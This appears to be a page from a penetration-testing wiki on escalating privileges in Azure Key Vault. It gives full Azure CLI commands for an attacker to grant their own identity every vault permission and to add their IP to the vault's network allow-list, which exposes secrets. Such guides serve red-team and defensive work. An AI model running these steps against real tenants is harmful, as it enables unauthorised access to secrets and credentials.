Az - Key Vault Privesc

Azure Key Vault

For more information about this service check:

{{#ref}}
../az-services/az-keyvault.md
{{#endref}}

`Microsoft.KeyVault/vaults/write`

An attacker with this permission will be able to modify the policy of a key vault (the key vault must be using access policies instead of RBAC).

# If access policies in the output, then you can abuse it
az keyvault show --name <vault-name>

# Get current principal ID
az ad signed-in-user show --query id --output tsv

# Assign all permissions
az keyvault set-policy \
  --name <vault-name> \
  --object-id <your-object-id> \
  --key-permissions all \
  --secret-permissions all \
  --certificate-permissions all \
  --storage-permissions all

Modify Network Restrictions

It might be possible tthat you have enough permissions th access sensitive data (like the value of a secret) but you can't access it because the key vault is restricted to a specific network. If you have the permission to modify the network restrictions you can add your IP to the list of allowed IPs.

# Get the current network restrictions
az keyvault network-rule list --name <vault-name>

# Add your IP to the list
az keyvault network-rule add --name <vault-name> --ip-address <your-ip>